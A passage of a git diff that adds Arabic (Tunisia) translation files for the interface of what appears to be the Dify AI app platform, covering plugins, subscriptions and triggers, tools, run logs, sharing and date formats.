+  allTags: 'كل العلامات',
+  searchTags: 'البحث في العلامات',
+  tags: {
+    agent: 'وكيل',
+    rag: 'RAG',
+    search: 'بحث',
+    image: 'صورة',
+    videos: 'فيديوهات',
+    weather: 'طقس',
+    finance: 'تمويل',
+    design: 'تصميم',
+    travel: 'سفر',
+    social: 'اجتماعي',
+    news: 'أخبار',
+    medical: 'طبي',
+    productivity: 'إنتاجية',
+    education: 'تعليم',
+    business: 'أعمال',
+    entertainment: 'ترفيه',
+    utilities: 'أدوات مساعدة',
+    other: 'أخرى',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/plugin-trigger.ts b/web/i18n/ar-TN/plugin-trigger.ts
new file mode 100644
index 0000000000..8bea4cc8d5
--- /dev/null
+++ b/web/i18n/ar-TN/plugin-trigger.ts
@@ -0,0 +1,186 @@
+const translation = {
+  subscription: {
+    title: 'الاشتراكات',
+    listNum: '{{num}} اشتراكات',
+    empty: {
+      title: 'لا توجد اشتراكات',
+      button: 'اشتراك جديد',
+    },
+    createButton: {
+      oauth: 'اشتراك جديد باستخدام OAuth',
+      apiKey: 'اشتراك جديد باستخدام مفتاح API',
+      manual: 'الصق عنوان URL لإنشاء اشتراك جديد',
+    },
+    createSuccess: 'تم إنشاء الاشتراك بنجاح',
+    createFailed: 'فشل إنشاء الاشتراك',
+    maxCount: 'الحد الأقصى {{num}} اشتراكات',
+    selectPlaceholder: 'حدد اشتراكًا',
+    noSubscriptionSelected: 'لم يتم تحديد أي اشتراك',
+    subscriptionRemoved: 'تمت إزالة الاشتراك',
+    list: {
+      title: 'الاشتراكات',
+      addButton: 'إضافة',
+      tip: 'استلام الأحداث عبر الاشتراك',
+      item: {
+        enabled: 'ممكن',
+        disabled: 'معطل',
+        credentialType: {
+          api_key: 'مفتاح API',
+          oauth2: 'OAuth',
+          unauthorized: 'يدوي',
+        },
+        actions: {
+          delete: 'حذف',
+          deleteConfirm: {
+            title: 'حذف {{name}}؟',
+            success: 'تم حذف الاشتراك {{name}} بنجاح',
+            error: 'فشل حذف الاشتراك {{name}}',
+            content: 'بمجرد الحذف، لا يمكن استعادة هذا الاشتراك. يرجى التأكيد.',
+            contentWithApps: 'الاشتراك الحالي مشار إليه بواسطة {{count}} تطبيقات. سيؤدي حذفه إلى توقف التطبيقات المكونة عن تلقي أحداث الاشتراك.',
+            confirm: 'تأكيد الحذف',
+            cancel: 'إلغاء',
+            confirmInputWarning: 'يرجى إدخال الاسم الصحيح للتأكيد.',
+            confirmInputPlaceholder: 'أدخل "{{name}}" للتأكيد.',
+            confirmInputTip: 'يرجى إدخال "{{name}}" للتأكيد.',
+          },
+        },
+        status: {
+          active: 'نشط',
+          inactive: 'غير نشط',
+        },
+        usedByNum: 'تستخدم من قبل {{num}} سير عمل',
+        noUsed: 'لا يوجد سير عمل مستخدم',
+      },
+    },
+    addType: {
+      title: 'إضافة اشتراك',
+      description: 'اختر الطريقة التي تريد بها إنشاء اشتراك المشغل الخاص بك',
+      options: {
+        apikey: {
+          title: 'إنشاء باستخدام مفتاح API',
+          description: 'إنشاء اشتراك تلقائيًا باستخدام بيانات اعتماد API',
+        },
+        oauth: {
+          title: 'إنشاء باستخدام OAuth',
+          description: 'التفويض مع منصة تابعة لجهة خارجية لإنشاء اشتراك',
+          clientSettings: 'إعدادات عميل OAuth',
+          clientTitle: 'عميل OAuth',
+          default: 'افتراضي',
+          custom: 'مخصص',
+        },
+        manual: {
+          title: 'الإعداد اليدوي',
+          description: 'الصق عنوان URL لإنشاء اشتراك جديد',
+          tip: 'تكوين عنوان URL على منصة تابعة لجهة خارجية يدويًا',
+        },
+      },
+    },
+  },
+  modal: {
+    steps: {
+      verify: 'تحقق',
+      configuration: 'تكوين',
+    },
+    common: {
+      cancel: 'إلغاء',
+      back: 'رجوع',
+      next: 'التالي',
+      create: 'إنشاء',
+      verify: 'تحقق',
+      authorize: 'تفويض',
+      creating: 'جارٍ الإنشاء...',
+      verifying: 'جارٍ التحقق...',
+      authorizing: 'جارٍ التفويض...',
+    },
+    oauthRedirectInfo: 'نظرًا لعدم العثور على أسرار عميل النظام لمزود الأداة هذا، فإن إعداده يدويًا مطلوب، بالنسبة لـ redirect_uri، يرجى الاستخدام',
+    apiKey: {
+      title: 'إنشاء باستخدام مفتاح API',
+      verify: {
+        title: 'التحقق من بيانات الاعتماد',
+        description: 'يرجى تقديم بيانات اعتماد واجهة برمجة التطبيقات الخاصة بك للتحقق من الوصول',
+        error: 'فشل التحقق من بيانات الاعتماد. يرجى التحقق من مفتاح API الخاص بك.',
+        success: 'تم التحقق من بيانات الاعتماد بنجاح',
+      },
+      configuration: {
+        title: 'تكوين الاشتراك',
+        description: 'إعداد معلمات الاشتراك الخاصة بك',
+      },
+    },
+    oauth: {
+      title: 'إنشاء باستخدام OAuth',
+      authorization: {
+        title: 'تفويض OAuth',
+        description: 'تفويض Dify للوصول إلى حسابك',
+        redirectUrl: 'عنوان URL لإعادة التوجيه',
+        redirectUrlHelp: 'استخدم عنوان URL هذا في تكوين تطبيق OAuth الخاص بك',
+        authorizeButton: 'تفويض مع {{provider}}',
+        waitingAuth: 'في انتظار التفويض...',
+        authSuccess: 'تم التفويض بنجاح',
+        authFailed: 'فشل الحصول على معلومات تفويض OAuth',
+        waitingJump: 'تم التفويض، في انتظار الانتقال',
+      },
+      configuration: {
+        title: 'تكوين الاشتراك',
+        description: 'إعداد معلمات الاشتراك الخاصة بك بعد التفويض',
+        success: 'تم تكوين OAuth بنجاح',
+        failed: 'فشل تكوين OAuth',
+      },
+      remove: {
+        success: 'تمت إزالة OAuth بنجاح',
+        failed: 'فشل إزالة OAuth',
+      },
+      save: {
+        success: 'تم حفظ تكوين OAuth بنجاح',
+      },
+    },
+    manual: {
+      title: 'الإعداد اليدوي',
+      description: 'تكوين اشتراك web hook الخاص بك يدويًا',
+      logs: {
+        title: 'سجلات الطلب',
+        request: 'طلب',
+        loading: 'في انتظار الطلب من {{pluginName}}...',
+      },
+    },
+    form: {
+      subscriptionName: {
+        label: 'اسم الاشتراك',
+        placeholder: 'أدخل اسم الاشتراك',
+        required: 'اسم الاشتراك مطلوب',
+      },
+      callbackUrl: {
+        label: 'عنوان URL لرد الاتصال',
+        description: 'سيتلقى عنوان URL هذا أحداث web hook',
+        tooltip: 'توفير نقطة نهاية يمكن الوصول إليها بشكل عام يمكنها استلام طلبات رد الاتصال من مزود المشغل.',
+        placeholder: 'جارٍ الإنشاء...',
+        privateAddressWarning: 'يبدو أن عنوان URL هذا هو عنوان داخلي، مما قد يتسبب في فشل طلبات web hook. يمكنك تغيير TRIGGER_URL إلى عنوان عام.',
+      },
+    },
+    errors: {
+      createFailed: 'فشل إنشاء الاشتراك',
+      verifyFailed: 'فشل التحقق من بيانات الاعتماد',
+      authFailed: 'فشل التفويض',
+      networkError: 'خطأ في الشبكة، يرجى المحاولة مرة أخرى',
+    },
+  },
+  events: {
+    title: 'الأحداث المتاحة',
+    description: 'الأحداث التي يمكن لمكون المشغل الإضافي هذا الاشتراك فيها',
+    empty: 'لا توجد أحداث متاحة',
+    event: 'حدث',
+    events: 'أحداث',
+    actionNum: '{{num}} {{event}} متضمن',
+    item: {
+      parameters: '{{count}} معلمات',
+      noParameters: 'لا توجد معلمات',
+    },
+    output: 'إخراج',
+  },
+  node: {
+    status: {
+      warning: 'قطع الاتصال',
+    },
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/plugin.ts b/web/i18n/ar-TN/plugin.ts
new file mode 100644
index 0000000000..8446974f5d
--- /dev/null
+++ b/web/i18n/ar-TN/plugin.ts
@@ -0,0 +1,325 @@
+const translation = {
+  metadata: {
+    title: 'الإضافات',
+  },
+  category: {
+    all: 'الكل',
+    models: 'نماذج',
+    tools: 'أدوات',
+    agents: 'استراتيجيات الوكيل',
+    extensions: 'ملحقات',
+    triggers: 'مشغلات',
+    bundles: 'حزم',
+    datasources: 'مصادر البيانات',
+  },
+  categorySingle: {
+    model: 'نموذج',
+    tool: 'أداة',
+    agent: 'استراتيجية الوكيل',
+    extension: 'ملحق',
+    trigger: 'مشغل',
+    bundle: 'حزمة',
+    datasource: 'مصدر بيانات',
+  },
+  search: 'بحث',
+  allCategories: 'جميع الفئات',
+  searchCategories: 'بحث في الفئات',
+  searchPlugins: 'بحث في الإضافات',
+  from: 'من',
+  findMoreInMarketplace: 'ابحث عن المزيد في السوق',
+  searchInMarketplace: 'بحث في السوق',
+  fromMarketplace: 'من السوق',
+  endpointsEnabled: 'تم تمكين {{num}} مجموعة من نقاط النهاية',
+  searchTools: 'بحث في الأدوات...',
+  installPlugin: 'تثبيت الإضافة',
+  installFrom: 'تثبيت من',
+  deprecated: 'مهمل',
+  list: {
+    noInstalled: 'لم يتم تثبيت أي إضافات',
+    notFound: 'لم يتم العثور على أي إضافات',
+    source: {
+      marketplace: 'تثبيت من السوق',
+      github: 'تثبيت من GitHub',
+      local: 'تثبيت من ملف الحزمة المحلية',
+    },
+  },
+  source: {
+    marketplace: 'السوق',
+    github: 'GitHub',
+    local: 'ملف الحزمة المحلية',
+  },
+  detailPanel: {
+    switchVersion: 'تبديل الإصدار',
+    categoryTip: {
+      marketplace: 'مثبت من السوق',
+      github: 'مثبت من Github',
+      local: 'إضافة محلية',
+      debugging: 'تصحيح الإضافة',
+    },
+    operation: {
+      install: 'تثبيت',
+      detail: 'التفاصيل',
+      update: 'تحديث',
+      info: 'معلومات الإضافة',
+      checkUpdate: 'التحقق من التحديث',
+      viewDetail: 'عرض التفاصيل',
+      remove: 'إزالة',
+      back: 'رجوع',
+    },
+    actionNum: '{{num}} {{action}} متضمن',
+    strategyNum: '{{num}} {{strategy}} متضمن',
+    endpoints: 'نقاط النهاية',
+    endpointsTip: 'توفر هذه الإضافة وظائف محددة عبر نقاط النهاية، ويمكنك تكوين مجموعات نقاط نهاية متعددة لمساحة العمل الحالية.',
+    endpointsDocLink: 'عرض المستند',
+    endpointsEmpty: 'انقر فوق الزر "+" لإضافة نقطة نهاية',
+    endpointDisableTip: 'تعطيل نقطة النهاية',
+    endpointDisableContent: 'هل ترغب في تعطيل {{name}}؟ ',
+    endpointDeleteTip: 'إزالة نقطة النهاية',
+    endpointDeleteContent: 'هل ترغب في إزالة {{name}}؟ ',
+    endpointModalTitle: 'إعداد نقطة النهاية',
+    endpointModalDesc: 'بمجرد التكوين، يمكن استخدام الميزات التي توفرها الإضافة عبر نقاط نهاية API.',
+    serviceOk: 'الخدمة جيدة',
+    disabled: 'معطل',
+    modelNum: '{{num}} نماذج متضمنة',
+    toolSelector: {
+      title: 'إضافة أداة',
+      toolSetting: 'إعدادات الأداة',
+      toolLabel: 'أداة',
+      descriptionLabel: 'وصف الأداة',
+      descriptionPlaceholder: 'وصف موجز لغرض الأداة، على سبيل المثال، الحصول على درجة الحرارة لموقع معين.',
+      placeholder: 'حدد أداة...',
+      settings: 'إعدادات المستخدم',
+      params: 'تكوين الاستنتاج',
+      paramsTip1: 'يتحكم في معلمات استنتاج LLM.',
+      paramsTip2: 'عند إيقاف تشغيل "تلقائي"، يتم استخدام القيمة الافتراضية.',
+      auto: 'تلقائي',
+      empty: 'انقر فوق الزر "+" لإضافة أدوات. يمكنك إضافة أدوات متعددة.',
+      uninstalledTitle: 'الأداة غير مثبتة',
+      uninstalledContent: 'تم تثبيت هذه الإضافة من المخزون المحلي / GitHub. يرجى الاستخدام بعد التثبيت.',
+      uninstalledLink: 'إدارة في الإضافات',
+      unsupportedTitle: 'إجراء غير مدعوم',
+      unsupportedContent: 'إصدار الإضافة المثبت لا يوفر هذا الإجراء.',
+      unsupportedContent2: 'انقر لتبديل الإصدار.',
+      unsupportedMCPTool: 'لا يدعم إصدار إضافة استراتيجية الوكيل المحدد حاليًا أدوات MCP.',
+    },
+    configureApp: 'تكوين التطبيق',
+    configureModel: 'تكوين النموذج',
+    configureTool: 'تكوين الأداة',
+    deprecation: {
+      fullMessage: 'تم إهمال هذه الإضافة بسبب {{deprecatedReason}}، ولن يتم تحديثها بعد الآن. يرجى استخدام <CustomLink href=\'https://example.com/\'>{{-alternativePluginId}}</CustomLink> بدلاً من ذلك.',
+      onlyReason: 'تم إهمال هذه الإضافة بسبب {{deprecatedReason}} ولن يتم تحديثها بعد الآن.',
+      noReason: 'تم إهمال هذه الإضافة ولن يتم تحديثها بعد الآن.',
+      reason: {
+        businessAdjustments: 'تعديلات الأعمال',
+        ownershipTransferred: 'نقل الملكية',
+        noMaintainer: 'لا يوجد مشرف',
+      },
+    },
+  },
+  install: '{{num}} تثبيتات',
+  installAction: 'تثبيت',
+  debugInfo: {
+    title: 'تصحيح الأخطاء',
+    viewDocs: 'عرض المستندات',
+  },
+  privilege: {
+    title: 'تفضيلات الإضافة',
+    whoCanInstall: 'من يمكنه تثبيت وإدارة الإضافات؟',
+    whoCanDebug: 'من يمكنه تصحيح الإضافات؟',
+    everyone: 'الجميع',
+    admins: 'المسؤولون',
+    noone: 'لا أحد',
+  },
+  autoUpdate: {
+    automaticUpdates: 'تحديثات تلقائية',
+    updateTime: 'وقت التحديث',
+    specifyPluginsToUpdate: 'تحديد الإضافات للتحديث',
+    strategy: {
+      disabled: {
+        name: 'معطل',
+        description: 'لن يتم تحديث الإضافات تلقائيًا',
+      },
+      fixOnly: {
+        name: 'إصلاح فقط',
+        description: 'التحديث التلقائي لإصدارات التصحيح فقط (على سبيل المثال، 1.0.1 → 1.0.2). لن تؤدي تغييرات الإصدار الثانوي إلى تشغيل التحديثات.',
+        selectedDescription: 'التحديث التلقائي لإصدارات التصحيح فقط',
+      },
+      latest: {
+        name: 'الأحدث',
+        description: 'التحديث دائمًا إلى أحدث إصدار',
+        selectedDescription: 'التحديث دائمًا إلى أحدث إصدار',
+      },
+    },
+    updateTimeTitle: 'وقت التحديث',
+    upgradeMode: {
+      all: 'تحديث الكل',
+      exclude: 'استبعاد المحدد',
+      partial: 'المحدد فقط',
+    },
+    upgradeModePlaceholder: {
+      exclude: 'لن يتم تحديث الإضافات المحددة تلقائيًا',
+      partial: 'سيتم تحديث الإضافات المحددة فقط تلقائيًا. لم يتم تحديد أي إضافات حاليًا، لذلك لن يتم تحديث أي إضافات تلقائيًا.',
+    },
+    excludeUpdate: 'لن يتم تحديث الإضافات {{num}} التالية تلقائيًا',
+    partialUPdate: 'سيتم تحديث الإضافات {{num}} التالية فقط تلقائيًا',
+    operation: {
+      clearAll: 'مسح الكل',
+      select: 'تحديد الإضافات',
+    },
+    nextUpdateTime: 'التحديث التلقائي التالي: {{time}}',
+    pluginDowngradeWarning: {
+      title: 'خفض إصدار الإضافة',
+      description: 'التحديث التلقائي ممكن حاليًا لهذه الإضافة. قد يؤدي خفض الإصدار إلى استبدال تغييراتك أثناء التحديث التلقائي التالي.',
+      downgrade: 'خفض على أي حال',
+      exclude: 'استبعاد من التحديث التلقائي',
+    },
+    noPluginPlaceholder: {
+      noFound: 'لم يتم العثور على أي إضافات',
+      noInstalled: 'لم يتم تثبيت أي إضافات',
+    },
+    updateSettings: 'إعدادات التحديث',
+    changeTimezone: 'لتغيير المنطقة الزمنية، انتقل إلى <setTimezone>الإعدادات</setTimezone>',
+  },
+  pluginInfoModal: {
+    title: 'معلومات الإضافة',
+    repository: 'المستودع',
+    release: 'الإصدار',
+    packageName: 'الحزمة',
+  },
+  action: {
+    checkForUpdates: 'التحقق من وجود تحديثات',
+    pluginInfo: 'معلومات الإضافة',
+    delete: 'إزالة الإضافة',
+    deleteContentLeft: 'هل ترغب في إزالة ',
+    deleteContentRight: ' الإضافة؟',
+    usedInApps: 'يتم استخدام هذه الإضافة في {{num}} تطبيقات.',
+  },
+  installModal: {
+    installPlugin: 'تثبيت الإضافة',
+    installComplete: 'اكتمل التثبيت',
+    installedSuccessfully: 'تم التثبيت بنجاح',
+    installedSuccessfullyDesc: 'تم تثبيت الإضافة بنجاح.',
+    uploadFailed: 'فشل التحميل',
+    installFailed: 'فشل التثبيت',
+    installFailedDesc: 'فشل تثبيت الإضافة.',
+    install: 'تثبيت',
+    installing: 'جارٍ التثبيت...',
+    uploadingPackage: 'جارٍ تحميل {{packageName}}...',
+    readyToInstall: 'على وشك تثبيت الإضافة التالية',
+    readyToInstallPackage: 'على وشك تثبيت الإضافة التالية',
+    readyToInstallPackages: 'على وشك تثبيت الإضافات {{num}} التالية',
+    fromTrustSource: 'يرجى التأكد من تثبيت الإضافات فقط من <trustSource>مصدر موثوق</trustSource>.',
+    dropPluginToInstall: 'أفلت حزمة الإضافة هنا للتثبيت',
+    labels: {
+      repository: 'المستودع',
+      version: 'الإصدار',
+      package: 'الحزمة',
+    },
+    close: 'إغلاق',
+    cancel: 'إلغاء',
+    back: 'رجوع',
+    next: 'التالي',
+    pluginLoadError: 'خطأ في تحميل الإضافة',
+    pluginLoadErrorDesc: 'لن يتم تثبيت هذه الإضافة',
+    installWarning: 'لا يسمح بتثبيت هذه الإضافة.',
+  },
+  installFromGitHub: {
+    installPlugin: 'تثبيت الإضافة من GitHub',
+    updatePlugin: 'تحديث الإضافة من GitHub',
+    installedSuccessfully: 'تم التثبيت بنجاح',
+    installFailed: 'فشل التثبيت',
+    uploadFailed: 'فشل التحميل',
+    gitHubRepo: 'مستودع GitHub',
+    selectVersion: 'حدد الإصدار',
+    selectVersionPlaceholder: 'يرجى تحديد إصدار',
+    installNote: 'يرجى التأكد من تثبيت الإضافات فقط من مصدر موثوق.',
+    selectPackage: 'حدد الحزمة',
+    selectPackagePlaceholder: 'يرجى تحديد حزمة',
+  },
+  upgrade: {
+    title: 'تثبيت الإضافة',
+    successfulTitle: 'تم التثبيت بنجاح',
+    description: 'على وشك تثبيت الإضافة التالية',
+    usedInApps: 'تستخدم في {{num}} تطبيقات',
+    upgrade: 'تثبيت',
+    upgrading: 'جارٍ التثبيت...',
+    close: 'إغلاق',
+  },
+  error: {
+    inValidGitHubUrl: 'عنوان URL لـ GitHub غير صالح. يرجى إدخال عنوان URL صالح بالتنسيق: https://github.com/owner/repo',
+    fetchReleasesError: 'غير قادر على استرجاع الإصدارات. يرجى المحاولة مرة أخرى لاحقًا.',
+    noReleasesFound: 'لم يتم العثور على إصدارات. يرجى التحقق من مستودع GitHub أو عنوان URL المدخل.',
+  },
+  marketplace: {
+    empower: 'تمكين تطوير الذكاء الاصطناعي الخاص بك',
+    discover: 'اكتشف',
+    and: 'و',
+    difyMarketplace: 'سوق Dify',
+    moreFrom: 'المزيد من السوق',
+    noPluginFound: 'لم يتم العثور على إضافة',
+    pluginsResult: '{{num}} نتائج',
+    sortBy: 'فرز حسب',
+    sortOption: {
+      mostPopular: 'الأكثر شيوعًا',
+      recentlyUpdated: 'تم التحديث مؤخرًا',
+      newlyReleased: 'صدر حديثًا',
+      firstReleased: 'صدر لأول مرة',
+    },
+    viewMore: 'عرض المزيد',
+    verifiedTip: 'تم التحقق بواسطة Dify',
+    partnerTip: 'تم التحقق بواسطة شريك Dify',
+  },
+  task: {
+    installing: 'تثبيت {{installingLength}} إضافات، 0 تم.',
+    installingWithSuccess: 'تثبيت {{installingLength}} إضافات، {{successLength}} نجاح.',
+    installingWithError: 'تثبيت {{installingLength}} إضافات، {{successLength}} نجاح، {{errorLength}} فشل',
+    installError: '{{errorLength}} إضافات فشل تثبيتها، انقر للعرض',
+    installedError: '{{errorLength}} إضافات فشل تثبيتها',
+    clearAll: 'مسح الكل',
+    installSuccess: 'تم تثبيت {{successLength}} من الإضافات بنجاح',
+    installed: 'مثبت',
+    runningPlugins: 'تثبيت الإضافات',
+    successPlugins: 'تم تثبيت الإضافات بنجاح',
+    errorPlugins: 'فشل في تثبيت الإضافات',
+  },
+  requestAPlugin: 'طلب إضافة',
+  publishPlugins: 'نشر الإضافات',
+  difyVersionNotCompatible: 'إصدار Dify الحالي غير متوافق مع هذه الإضافة، يرجى الترقية إلى الحد الأدنى للإصدار المطلوب: {{minimalDifyVersion}}',
+  auth: {
+    default: 'افتراضي',
+    custom: 'مخصص',
+    setDefault: 'تعيين كافتراضي',
+    useOAuth: 'استخدام OAuth',
+    useOAuthAuth: 'استخدام تفويض OAuth',
+    addOAuth: 'إضافة OAuth',
+    setupOAuth: 'إعداد عميل OAuth',
+    useApi: 'استخدام مفتاح API',
+    addApi: 'إضافة مفتاح API',
+    useApiAuth: 'تكوين تفويض مفتاح API',
+    useApiAuthDesc: 'بعد تكوين بيانات الاعتماد، يمكن لجميع الأعضاء داخل مساحة العمل استخدام هذه الأداة عند تنظيم التطبيقات.',
+    oauthClientSettings: 'إعدادات عميل OAuth',
+    saveOnly: 'حفظ فقط',
+    saveAndAuth: 'حفظ وتفويض',
+    authorization: 'تفويض',
+    authorizations: 'تفويضات',
+    authorizationName: 'اسم التفويض',
+    workspaceDefault: 'افتراضي مساحة العمل',
+    authRemoved: 'تمت إزالة التفويض',
+    clientInfo: 'نظرًا لعدم العثور على أسرار عميل النظام لمزود الأداة هذا، فإن إعداده يدويًا مطلوب، بالنسبة لـ redirect_uri، يرجى الاستخدام',
+    oauthClient: 'عميل OAuth',
+    credentialUnavailable: 'بيانات الاعتماد غير متوفرة حاليًا. يرجى الاتصال بالمسؤول.',
+    credentialUnavailableInButton: 'بيانات الاعتماد غير متوفرة',
+    customCredentialUnavailable: 'بيانات الاعتماد المخصصة غير متوفرة حاليًا',
+    unavailable: 'غير متاح',
+    connectedWorkspace: 'مساحة العمل المتصلة',
+    emptyAuth: 'يرجى تكوين المصادقة',
+  },
+  readmeInfo: {
+    title: 'الملف التمهيدي',
+    needHelpCheckReadme: 'تحتاج للمساعدة؟ تحقق من الملف التمهيدي.',
+    noReadmeAvailable: 'لا يوجد ملف تمهيدي متاح',
+    failedToFetch: 'فشل جلب الملف التمهيدي',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/register.ts b/web/i18n/ar-TN/register.ts
new file mode 100644
index 0000000000..928649474b
--- /dev/null
+++ b/web/i18n/ar-TN/register.ts
@@ -0,0 +1,4 @@
+const translation = {
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/run-log.ts b/web/i18n/ar-TN/run-log.ts
new file mode 100644
index 0000000000..031e3d628d
--- /dev/null
+++ b/web/i18n/ar-TN/run-log.ts
@@ -0,0 +1,31 @@
+const translation = {
+  input: 'إدخال',
+  result: 'نتيجة',
+  detail: 'تفاصيل',
+  tracing: 'تتبع',
+  resultPanel: {
+    status: 'الحالة',
+    time: 'الوقت المستغرق',
+    tokens: 'إجمالي الرموز',
+  },
+  meta: {
+    title: 'البيانات الوصفية',
+    status: 'الحالة',
+    version: 'الإصدار',
+    executor: 'المنفذ',
+    startTime: 'وقت البدء',
+    time: 'الوقت المستغرق',
+    tokens: 'إجمالي الرموز',
+    steps: 'خطوات التشغيل',
+  },
+  resultEmpty: {
+    title: 'هذا التشغيل يخرج فقط تنسيق JSON،',
+    tipLeft: 'يرجى الذهاب إلى ',
+    link: 'لوحة التفاصيل',
+    tipRight: ' لعرضه.',
+  },
+  actionLogs: 'سجلات العمل',
+  circularInvocationTip: 'يوجد استدعاء دائري للأدوات/العقد في سير العمل الحالي.',
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/share.ts b/web/i18n/ar-TN/share.ts
new file mode 100644
index 0000000000..d6a21ca4aa
--- /dev/null
+++ b/web/i18n/ar-TN/share.ts
@@ -0,0 +1,86 @@
+const translation = {
+  common: {
+    welcome: '',
+    appUnavailable: 'التطبيق غير متوفر',
+    appUnknownError: 'التطبيق غير متوفر',
+  },
+  chat: {
+    newChat: 'بدء دردشة جديدة',
+    newChatTip: 'موجود بالفعل في دردشة جديدة',
+    chatSettingsTitle: 'إعداد الدردشة الجديدة',
+    chatFormTip: 'لا يمكن تعديل إعدادات الدردشة بعد بدء الدردشة.',
+    pinnedTitle: 'مثبت',
+    unpinnedTitle: 'الأخيرة',
+    newChatDefaultName: 'محادثة جديدة',
+    resetChat: 'إعادة تعيين المحادثة',
+    viewChatSettings: 'عرض إعدادات الدردشة',
+    poweredBy: 'مشغل بواسطة',
+    prompt: 'مطالبة',
+    privatePromptConfigTitle: 'إعدادات المحادثة',
+    publicPromptConfigTitle: 'المطالبة الأولية',
+    configStatusDes: 'قبل البدء، يمكنك تعديل إعدادات المحادثة',
+    configDisabled:
+      'تم استخدام إعدادات الجلسة السابقة لهذه الجلسة.',
+    startChat: 'بدء الدردشة',
+    privacyPolicyLeft:
+      'يرجى قراءة ',
+    privacyPolicyMiddle:
+      'سياسة الخصوصية',
+    privacyPolicyRight:
+      ' المقدمة من مطور التطبيق.',
+    deleteConversation: {
+      title: 'حذف المحادثة',
+      content: 'هل أنت متأكد أنك تريد حذف هذه المحادثة؟',
+    },
+    tryToSolve: 'حاول الحل',
+    temporarySystemIssue: 'عذرًا، مشكلة مؤقتة في النظام.',
+    expand: 'توسيع',
+    collapse: 'طي',
+  },
+  generation: {
+    tabs: {
+      create: 'تشغيل مرة واحدة',
+      batch: 'تشغيل دفعة',
+      saved: 'محفوظ',
+    },
+    savedNoData: {
+      title: 'لم تقم بحفظ نتيجة بعد!',
+      description: 'ابدأ في إنشاء المحتوى، وابحث عن نتائجك المحفوظة هنا.',
+      startCreateContent: 'ابدأ في إنشاء المحتوى',
+    },
+    title: 'إكمال الذكاء الاصطناعي',
+    queryTitle: 'محتوى الاستعلام',
+    completionResult: 'نتيجة الإكمال',
+    queryPlaceholder: 'اكتب محتوى الاستعلام الخاص بك...',
+    run: 'تنفيذ',
+    execution: 'تشغيل',
+    executions: '{{num}} عمليات تشغيل',
+    copy: 'نسخ',
+    resultTitle: 'إكمال الذكاء الاصطناعي',
+    noData: 'سيعطيك الذكاء الاصطناعي ما تريد هنا.',
+    csvUploadTitle: 'اسحب وأفلت ملف CSV هنا، أو ',
+    browse: 'تصفح',
+    csvStructureTitle: 'يجب أن يتوافق ملف CSV مع الهيكل التالي:',
+    downloadTemplate: 'تنزيل النموذج هنا',
+    field: 'حقل',
+    stopRun: 'إيقاف التشغيل',
+    batchFailed: {
+      info: '{{num}} عمليات تنفيذ فاشلة',
+      retry: 'إعادة المحاولة',
+      outputPlaceholder: 'لا يوجد محتوى إخراج',
+    },
+    errorMsg: {
+      empty: 'يرجى إدخال محتوى في الملف الذي تم تحميله.',
+      fileStructNotMatch: 'ملف CSV الذي تم تحميله لا يطابق الهيكل.',
+      emptyLine: 'الصف {{rowIndex}} فارغ',
+      invalidLine: 'الصف {{rowIndex}}: قيمة {{varName}} لا يمكن أن تكون فارغة',
+      moreThanMaxLengthLine: 'الصف {{rowIndex}}: قيمة {{varName}} لا يمكن أن تكون أكثر من {{maxLength}} حرفًا',
+      atLeastOne: 'يرجى إدخال صف واحد على الأقل في الملف الذي تم تحميله.',
+    },
+  },
+  login: {
+    backToHome: 'العودة إلى الصفحة الرئيسية',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/time.ts b/web/i18n/ar-TN/time.ts
new file mode 100644
index 0000000000..11b35407da
--- /dev/null
+++ b/web/i18n/ar-TN/time.ts
@@ -0,0 +1,45 @@
+const translation = {
+  daysInWeek: {
+    Sun: 'الأحد',
+    Mon: 'الاثنين',
+    Tue: 'الثلاثاء',
+    Wed: 'الأربعاء',
+    Thu: 'الخميس',
+    Fri: 'الجمعة',
+    Sat: 'السبت',
+  },
+  months: {
+    January: 'يناير',
+    February: 'فبراير',
+    March: 'مارس',
+    April: 'أبريل',
+    May: 'مايو',
+    June: 'يونيو',
+    July: 'يوليو',
+    August: 'أغسطس',
+    September: 'سبتمبر',
+    October: 'أكتوبر',
+    November: 'نوفمبر',
+    December: 'ديسمبر',
+  },
+  operation: {
+    now: 'الآن',
+    ok: 'موافق',
+    cancel: 'إلغاء',
+    pickDate: 'اختر التاريخ',
+  },
+  title: {
+    pickTime: 'اختر الوقت',
+  },
+  defaultPlaceholder: 'اختر وقتًا...',
+  // Date format configurations
+  dateFormats: {
+    display: 'MMMM D, YYYY',
+    displayWithTime: 'MMMM D, YYYY hh:mm A',
+    input: 'YYYY-MM-DD',
+    output: 'YYYY-MM-DD',
+    outputWithTime: 'YYYY-MM-DDTHH:mm:ss.SSSZ',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/tools.ts b/web/i18n/ar-TN/tools.ts
new file mode 100644
index 0000000000..d8562fdd6b
--- /dev/null
+++ b/web/i18n/ar-TN/tools.ts
@@ -0,0 +1,264 @@
+const translation = {
+  title: 'أدوات',
+  createCustomTool: 'إنشاء أداة مخصصة',
+  customToolTip: 'تعرف على المزيد حول أدوات Dify المخصصة',
+  type: {
+    builtIn: 'أدوات',
+    custom: 'مخصص',
+    workflow: 'سير عمل',
+  },
+  contribute: {
+    line1: 'أنا مهتم بـ ',
+    line2: 'المساهمة بأدوات في Dify.',
+    viewGuide: 'عرض الدليل',
+  },
+  author: 'بواسطة',
+  auth: {
+    authorized: 'مفوض',
+    setup: 'إعداد التفويض للاستخدام',
+    setupModalTitle: 'إعداد التفويض',
+    setupModalTitleDescription: 'بعد تكوين بيانات الاعتماد، يمكن لجميع الأعضاء داخل مساحة العمل استخدام هذه الأداة عند تنظيم التطبيقات.',
+  },
+  includeToolNum: '{{num}} {{action}} متضمن',
+  addToolModal: {
+    type: 'نوع',
+    category: 'فئة',
+    added: 'أضيف',
+    custom: {
+      title: 'لا توجد أداة مخصصة متاحة',
+      tip: 'إنشاء أداة مخصصة',
+    },
+    workflow: {
+      title: 'لا يوجد أداة سير عمل متاحة',
+      tip: 'نشر سير العمل كأدوات في الاستوديو',
+    },
+    mcp: {
+      title: 'لا توجد أداة MCP متاحة',
+      tip: 'إضافة خادم MCP',
+    },
+    agent: {
+      title: 'لا توجد استراتيجية وكيل متاحة',
+    },
+  },
+  createTool: {
+    title: 'إنشاء أداة مخصصة',
+    editAction: 'تكوين',
